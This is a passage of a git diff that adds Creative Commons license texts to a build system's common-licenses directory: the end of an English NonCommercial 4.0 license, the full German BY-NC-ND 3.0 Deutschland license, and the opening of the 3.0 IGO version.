+ e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ h. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ i. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ j. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ k. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ l. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE b/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE
new file mode 100644
index 0000000000..06d59d675a
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE
@@ -0,0 +1,101 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung - Keine Bearbeitungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Weitergehende Änderungen oder Abwandlungen sind jedoch untersagt. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ f. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die den Schutzgegenstand enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ c. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ d. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) angeboteten Lizenzen aus.
+
+ e. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO b/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO
new file mode 100644
index 0000000000..c5b3226c18
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO
@@ -0,0 +1,99 @@
+Attribution-NonCommercial-NoDerivs 3.0 IGO
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. THE LICENSOR IS NOT NECESSARILY AN INTERGOVERNMENTAL ORGANIZATION (IGO), AS DEFINED IN THE LICENSE BELOW.
+
+License
+
